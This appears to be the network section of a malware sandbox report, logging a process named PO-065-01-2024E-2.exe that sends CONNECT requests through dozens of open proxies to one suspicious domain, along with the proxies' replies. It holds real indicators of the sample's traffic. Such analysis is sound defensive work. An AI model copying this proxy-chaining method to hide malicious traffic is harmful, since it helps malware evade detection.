Mar 11, 2024 16:39:52.457319021 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1614	192.168.2.10	54917	216.9.224.113	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.457334995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1615	192.168.2.10	53583	208.102.51.6	58208	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.458216906 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.598387957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1616	192.168.2.10	54461	47.91.65.23	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.462954044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.339337111 CET	38	IN	HTTP/1.1 200 OK content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1617	192.168.2.10	54207	132.148.245.112	49824	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.462955952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489195108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.489562035 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.582973003 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:16.676500082 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1618	192.168.2.10	54931	182.106.220.252	9091	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.471903086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.835664988 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1619	192.168.2.10	54999	51.15.211.42	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.479546070 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.207587957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.207954884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:57.429368973 CET	729	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1620	192.168.2.10	54182	60.190.68.154	7302	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.480207920 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 16:39:52.849297047 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1621	192.168.2.10	54988	47.243.114.192	8180	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.480228901 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1622	192.168.2.10	55060	192.154.246.96	9000	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.480566025 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1623	192.168.2.10	54967	79.110.201.235	8081	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.480670929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1624	192.168.2.10	51200	91.134.140.160	11946	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.480689049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1625	192.168.2.10	55067	104.21.194.19	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.482542038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.636909008 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1626	192.168.2.10	55068	162.159.242.230	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.486498117 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.652729034 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1627	192.168.2.10	55028	158.255.215.50	9005	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.490720987 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.791960001 CET	339	IN	HTTP/1.1 403 Forbidden Server: squid/4.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html;charset=utf-8 Content-Length: 5 X-Squid-Error: TCP_RESET 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from proxy.wakoopa.com Via: 1.1 proxy.wakoopa.com (squid/4.7) Connection: keep-alive Data Raw: 72 65 73 65 74 Data Ascii: reset

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1628	192.168.2.10	54053	199.187.210.54	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.491228104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1629	192.168.2.10	55035	3.9.71.167	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.492379904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.786355019 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:52 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1630	192.168.2.10	54973	190.103.177.131	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.496745110 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.869891882 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1631	192.168.2.10	54167	49.254.240.252	21028	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.499114037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.842633009 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1632	192.168.2.10	54250	107.180.95.177	1405	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.500504017 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489197016 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.489561081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.582904100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1633	192.168.2.10	54298	209.222.97.30	19481	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.500538111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:55.489239931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.489563942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:04.582948923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1634	192.168.2.10	55102	104.16.108.204	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.500752926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.659403086 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:52 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1635	192.168.2.10	55084	162.214.225.223	39824	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:52.511861086 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.098489046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.708051920 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:54.894462109 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
